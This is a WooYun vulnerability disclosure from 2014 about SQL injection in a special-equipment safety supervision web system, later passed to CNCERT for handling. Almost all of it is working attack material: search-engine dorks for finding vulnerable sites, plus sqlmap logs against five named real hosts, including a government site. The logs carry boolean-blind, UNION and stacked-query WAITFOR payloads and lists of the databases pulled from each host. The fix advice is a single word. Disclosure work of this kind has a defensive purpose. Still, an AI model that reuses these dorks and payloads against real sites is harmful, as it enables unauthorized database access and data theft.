当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072168

漏洞标题:某特种设备安全监察系统两处sql注入

相关厂商:某特种设备安全监察系统

漏洞作者: Mosuan

提交时间:2014-08-13 14:26

修复时间:2014-11-11 14:28

公开时间:2014-11-11 14:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-21: 细节向第三方安全合作伙伴开放
2014-10-12: 细节向核心白帽子及相关领域专家公开
2014-10-22: 细节向普通白帽子公开
2014-11-01: 细节向实习白帽子公开
2014-11-11: 细节向公众公开

简要描述:

rt

详细说明:

关键词

inurl:/comment_info.jsp?sslm=
inurl:subject_info.jsp?up_lmbh=


举几个例子

注入地址:http://www.sxtsaj.com/comment_info.jsp?sslm=00205&xxbh=999999999
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:10:33
[03:10:34] [WARNING] it appears that you have provided tainted parameter values
('xxbh=999999999') with most probably leftover chars from manual sql injection t
ests (;()') or non-valid numerical value. Please, always use only valid paramete
r values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] y
[03:10:36] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.sxtsaj.com\session' as session file
[03:10:36] [INFO] testing connection to the target url
[03:10:37] [INFO] testing if the url is stable, wait a few seconds
[03:10:38] [INFO] url is stable
[03:10:38] [INFO] testing if GET parameter 'sslm' is dynamic
[03:10:38] [INFO] confirming that GET parameter 'sslm' is dynamic
[03:10:39] [INFO] GET parameter 'sslm' is dynamic
[03:10:39] [WARNING] heuristic test shows that GET parameter 'sslm' might not be
injectable
[03:10:39] [INFO] testing sql injection on GET parameter 'sslm'
[03:10:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:10:43] [INFO] GET parameter 'sslm' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[03:10:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:10:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:10:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:10:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:10:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:10:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:10:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:10:57] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase stacked q
ueries' injectable
[03:10:57] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:10:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:10:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:11:08] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase time-base
d blind' injectable
[03:11:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:11:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:11:38] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:11:40] [INFO] target url appears to be UNION injectable with 10 columns
[03:11:44] [INFO] GET parameter 'sslm' is 'Generic UNION query (NULL) - 1 to 10
columns' injectable
GET parameter 'sslm' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 52 HTTP(s) requ
ests:
---
Place: GET
Parameter: sslm
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sslm=00205' AND 9922=9922 AND 'QEBm'='QEBm&xxbh=999999999
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: sslm=00205' UNION ALL SELECT NULL, NULL, NULL, NULL, CHAR(58)+CHAR(
105)+CHAR(122)+CHAR(108)+CHAR(58)+CHAR(80)+CHAR(72)+CHAR(85)+CHAR(111)+CHAR(81)+
CHAR(120)+CHAR(109)+CHAR(75)+CHAR(106)+CHAR(70)+CHAR(58)+CHAR(100)+CHAR(104)+CHA
R(103)+CHAR(58), NULL, NULL, NULL, NULL, NULL-- AND 'Fniz'='Fniz&xxbh=999999999
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: sslm=00205'; WAITFOR DELAY '0:0:5';-- AND 'XlJJ'='XlJJ&xxbh=9999999
99
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: sslm=00205' WAITFOR DELAY '0:0:5'-- AND 'EsvD'='EsvD&xxbh=999999999
---
[03:11:53] [INFO] testing MySQL
[03:11:53] [WARNING] the back-end DBMS is not MySQL
[03:11:53] [INFO] testing Oracle
[03:11:54] [WARNING] the back-end DBMS is not Oracle
[03:11:54] [INFO] testing PostgreSQL
[03:11:54] [WARNING] the back-end DBMS is not PostgreSQL
[03:11:54] [INFO] testing Microsoft SQL Server
[03:11:55] [INFO] confirming Microsoft SQL Server
[03:11:56] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[03:11:57] [INFO] fetching database names
available databases [8]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] TEXT
[*] TZSB
[03:11:57] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.sxtsaj.com'
[*] shutting down at 03:11:57


注入地址:http://www.fjase.com/comment_info.jsp?sslm=00205&xxbh=999999999
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:04:58
[03:04:59] [WARNING] it appears that you have provided tainted parameter values
('xxbh=999999999') with most probably leftover chars from manual sql injection t
ests (;()') or non-valid numerical value. Please, always use only valid paramete
r values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] y
[03:05:02] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.fjase.com\session' as session file
[03:05:02] [INFO] testing connection to the target url
[03:05:03] [INFO] testing if the url is stable, wait a few seconds
[03:05:05] [INFO] url is stable
[03:05:05] [INFO] testing if GET parameter 'sslm' is dynamic
[03:05:05] [INFO] confirming that GET parameter 'sslm' is dynamic
[03:05:06] [INFO] GET parameter 'sslm' is dynamic
[03:05:06] [WARNING] heuristic test shows that GET parameter 'sslm' might not be
injectable
[03:05:06] [INFO] testing sql injection on GET parameter 'sslm'
[03:05:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:05:10] [INFO] GET parameter 'sslm' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[03:05:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:05:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:05:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:05:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:05:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:05:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:05:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:05:25] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase stacked q
ueries' injectable
[03:05:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:05:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:05:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:05:59] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase time-base
d blind' injectable
[03:05:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:06:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:06:13] [INFO] target url appears to be UNION injectable with 10 columns
[03:06:32] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'sslm' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 64 HTTP(s) requ
ests:
---
Place: GET
Parameter: sslm
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sslm=00205' AND 7484=7484 AND 'lSwA'='lSwA&xxbh=999999999
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: sslm=00205'; WAITFOR DELAY '0:0:5';-- AND 'SqEh'='SqEh&xxbh=9999999
99
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: sslm=00205' WAITFOR DELAY '0:0:5'-- AND 'UfkM'='UfkM&xxbh=999999999
---
[03:07:25] [INFO] testing MySQL
[03:07:25] [WARNING] the back-end DBMS is not MySQL
[03:07:25] [INFO] testing Oracle
[03:07:26] [WARNING] the back-end DBMS is not Oracle
[03:07:26] [INFO] testing PostgreSQL
[03:07:27] [WARNING] the back-end DBMS is not PostgreSQL
[03:07:27] [INFO] testing Microsoft SQL Server
[03:07:28] [INFO] confirming Microsoft SQL Server
[03:07:30] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[03:07:30] [INFO] fetching database names
[03:07:30] [INFO] fetching number of databases
[03:07:30] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[03:07:30] [INFO] retrieved: 17
[03:07:40] [INFO] retrieved: CHUANGDA
[03:08:19] [INFO] retrieved: CPJC
[03:08:45] [INFO] retrieved: FBPVIWEB
[03:09:24] [INFO] retrieved: FJBBS
[03:09:50] [INFO] retrieved: flyfish
[03:10:21] [INFO] retrieved: jive
[03:10:38] [INFO] retrieved: master
[03:11:02] [INFO] retrieved: model
[03:11:25] [INFO] retrieved: msdb
[03:11:43] [INFO] retrieved: Northwind
[03:12:19] [INFO] retrieved: pubs
[03:12:37] [INFO] retrieved: ScdData_JC
[03:13:22] [INFO] retrieved: ScdData_JC_old
[03:14:46] [INFO] retrieved: tempdb
[03:15:12] [INFO] retrieved: TZSB
[03:15:29] [INFO] retrieved: TZSB_OLD
[03:16:02] [INFO] retrieved: ZLJD
available databases [17]:
[*] CHUANGDA
[*] CPJC
[*] FBPVIWEB
[*] FJBBS
[*] flyfish
[*] jive
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] ScdData_JC
[*] ScdData_JC_old
[*] tempdb
[*] TZSB
[*] TZSB_OLD
[*] ZLJD
[03:16:20] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 13 times
[03:16:20] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.fjase.com'
[*] shutting down at 03:16:20


注入地址:http://www.hljts.gov.cn/comment_info.jsp?sslm=00206&xxbh=6401
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:11:15
[03:11:15] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.hljts.gov.cn\session' as session file
[03:11:15] [INFO] testing connection to the target url
[03:11:16] [INFO] testing if the url is stable, wait a few seconds
[03:11:18] [INFO] url is stable
[03:11:18] [INFO] testing if GET parameter 'sslm' is dynamic
[03:11:18] [INFO] confirming that GET parameter 'sslm' is dynamic
[03:11:19] [INFO] GET parameter 'sslm' is dynamic
[03:11:19] [WARNING] heuristic test shows that GET parameter 'sslm' might not be
injectable
[03:11:19] [INFO] testing sql injection on GET parameter 'sslm'
[03:11:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:11:24] [INFO] GET parameter 'sslm' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[03:11:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:11:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:11:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:11:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:11:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:11:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:11:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:11:38] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase stacked q
ueries' injectable
[03:11:38] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:11:39] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:11:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:11:51] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase time-base
d blind' injectable
[03:11:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:11:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:12:04] [INFO] target url appears to be UNION injectable with 10 columns
[03:12:38] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:12:40] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'sslm' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 63 HTTP(s) requ
ests:
---
Place: GET
Parameter: sslm
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sslm=00206' AND 8465=8465 AND 'BFCW'='BFCW&xxbh=6401
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: sslm=00206'; WAITFOR DELAY '0:0:5';-- AND 'lMXr'='lMXr&xxbh=6401
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: sslm=00206' WAITFOR DELAY '0:0:5'-- AND 'nbYC'='nbYC&xxbh=6401
---
[03:12:42] [INFO] testing MySQL
[03:12:43] [WARNING] the back-end DBMS is not MySQL
[03:12:43] [INFO] testing Oracle
[03:12:43] [WARNING] the back-end DBMS is not Oracle
[03:12:43] [INFO] testing PostgreSQL
[03:12:44] [WARNING] the back-end DBMS is not PostgreSQL
[03:12:44] [INFO] testing Microsoft SQL Server
[03:12:44] [INFO] confirming Microsoft SQL Server
[03:12:46] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[03:12:46] [INFO] fetching database names
[03:12:46] [INFO] fetching number of databases
[03:12:46] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[03:12:46] [INFO] retrieved: 11
[03:12:50] [INFO] retrieved: flyfish
[03:13:23] [INFO] retrieved: hhs_tzsb
[03:13:59] [INFO] retrieved: master
[03:14:45] [INFO] retrieved: model
[03:15:18] [INFO] retrieved: msdb
[03:15:37] [INFO] retrieved: Nort
[03:16:13] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
hwind
[03:16:38] [INFO] retrieved: pubs


注入地址:http://122.227.22.214:90/comment_info.jsp?sslm=00201&xxbh=1309
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:09:11
[03:09:11] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\122.227.22.214\session' as session file
[03:09:11] [INFO] testing connection to the target url
[03:09:12] [INFO] testing if the url is stable, wait a few seconds
[03:09:13] [INFO] url is stable
[03:09:13] [INFO] testing if GET parameter 'sslm' is dynamic
[03:09:14] [INFO] confirming that GET parameter 'sslm' is dynamic
[03:09:14] [INFO] GET parameter 'sslm' is dynamic
[03:09:14] [WARNING] heuristic test shows that GET parameter 'sslm' might not be
injectable
[03:09:14] [INFO] testing sql injection on GET parameter 'sslm'
[03:09:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:09:18] [INFO] GET parameter 'sslm' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[03:09:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:09:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:09:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:09:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:09:40] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:09:42] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:09:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:09:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:09:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:09:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:09:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:09:55] [INFO] testing 'Oracle AND time-based blind'
[03:09:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:10:19] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:10:19] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[03:10:42] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:10:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:10:44] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[03:11:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:11:12] [INFO] target url appears to be UNION injectable with 10 columns
[03:11:43] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:11:47] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[03:11:47] [INFO] checking if the injection point on GET parameter 'sslm' is a f
alse positive
GET parameter 'sslm' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
[03:11:57] [INFO] testing if GET parameter 'xxbh' is dynamic
[03:11:57] [INFO] confirming that GET parameter 'xxbh' is dynamic
[03:11:58] [INFO] GET parameter 'xxbh' is dynamic
[03:11:58] [WARNING] heuristic test shows that GET parameter 'xxbh' might not be
injectable
[03:11:58] [INFO] testing sql injection on GET parameter 'xxbh'
[03:11:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:12:02] [INFO] GET parameter 'xxbh' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[03:12:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:12:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:12:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:12:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:12:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:12:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:12:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:12:10] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:12:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:12:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:12:16] [INFO] testing 'Oracle AND time-based blind'
[03:12:17] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:12:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:12:22] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[03:12:25] [INFO] target url appears to have 10 columns in query
[03:12:49] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:12:55] [INFO] checking if the injection point on GET parameter 'xxbh' is a f
alse positive
GET parameter 'xxbh' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 132 HTTP(s) req
uests:
---
Place: GET
Parameter: sslm
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sslm=00201' AND 3330=3330 AND 'liBs'='liBs&xxbh=1309
Place: GET
Parameter: xxbh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sslm=00201&xxbh=1309' AND 6182=6182 AND 'pQEZ'='pQEZ
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: sslm, type: Single quoted string (default)
[1] place: GET, parameter: xxbh, type: Single quoted string
[q] Quit
>
[03:16:04] [INFO] testing MySQL
[03:16:04] [WARNING] the back-end DBMS is not MySQL
[03:16:04] [INFO] testing Oracle
[03:16:05] [WARNING] the back-end DBMS is not Oracle
[03:16:05] [INFO] testing PostgreSQL
[03:16:05] [WARNING] the back-end DBMS is not PostgreSQL
[03:16:05] [INFO] testing Microsoft SQL Server
[03:16:06] [INFO] confirming Microsoft SQL Server
[03:16:07] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[03:16:07] [INFO] fetching database names
[03:16:07] [INFO] fetching number of databases
[03:16:07] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[03:16:07] [INFO] retrieved: 9
[03:16:10] [INFO] retrieved:
[03:16:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
master
[03:16:56] [INFO] retrieved: mo
[03:17:26] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
del
[03:17:42] [INFO] retrieved: msdb


注入地址:http://58.213.147.216/comment_info.jsp?sslm=00201&xxbh=7225
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:12:26
[03:12:26] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\58.213.147.216\session' as session file
[03:12:26] [INFO] testing connection to the target url
[03:12:27] [INFO] testing if the url is stable, wait a few seconds
[03:12:28] [INFO] url is stable
[03:12:28] [INFO] testing if GET parameter 'sslm' is dynamic
[03:12:29] [INFO] confirming that GET parameter 'sslm' is dynamic
[03:12:29] [INFO] GET parameter 'sslm' is dynamic
[03:12:30] [WARNING] heuristic test shows that GET parameter 'sslm' might not be
injectable
[03:12:30] [INFO] testing sql injection on GET parameter 'sslm'
[03:12:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:12:33] [INFO] GET parameter 'sslm' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[03:12:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:12:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:12:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:12:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:12:35] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:12:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:12:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:12:47] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase stacked q
ueries' injectable
[03:12:47] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:12:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:12:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:12:59] [INFO] GET parameter 'sslm' is 'Microsoft SQL Server/Sybase time-base
d blind' injectable
[03:12:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:13:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:13:08] [INFO] target url appears to be UNION injectable with 10 columns
[03:13:20] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'sslm' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 63 HTTP(s) requ
ests:
---
Place: GET
Parameter: sslm
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sslm=00201' AND 1645=1645 AND 'sGVS'='sGVS&xxbh=7225
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: sslm=00201'; WAITFOR DELAY '0:0:5';-- AND 'hJLr'='hJLr&xxbh=7225
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: sslm=00201' WAITFOR DELAY '0:0:5'-- AND 'shhj'='shhj&xxbh=7225
---
[03:13:26] [INFO] testing MySQL
[03:13:26] [WARNING] the back-end DBMS is not MySQL
[03:13:26] [INFO] testing Oracle
[03:13:27] [WARNING] the back-end DBMS is not Oracle
[03:13:27] [INFO] testing PostgreSQL
[03:13:27] [WARNING] the back-end DBMS is not PostgreSQL
[03:13:27] [INFO] testing Microsoft SQL Server
[03:13:28] [INFO] confirming Microsoft SQL Server
[03:13:29] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[03:13:29] [INFO] fetching database names
[03:13:29] [INFO] fetching number of databases
[03:13:29] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[03:13:29] [INFO] retrieved: 1
[03:13:52] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
9

漏洞证明:

function

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-08-18 08:58

厂商回复:

CNVD确认并复现所述情况,由CNVD通过电话和邮件方式向软件生产厂商——福建创达公司通报,后又由CNCERT下发给对应的多个分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论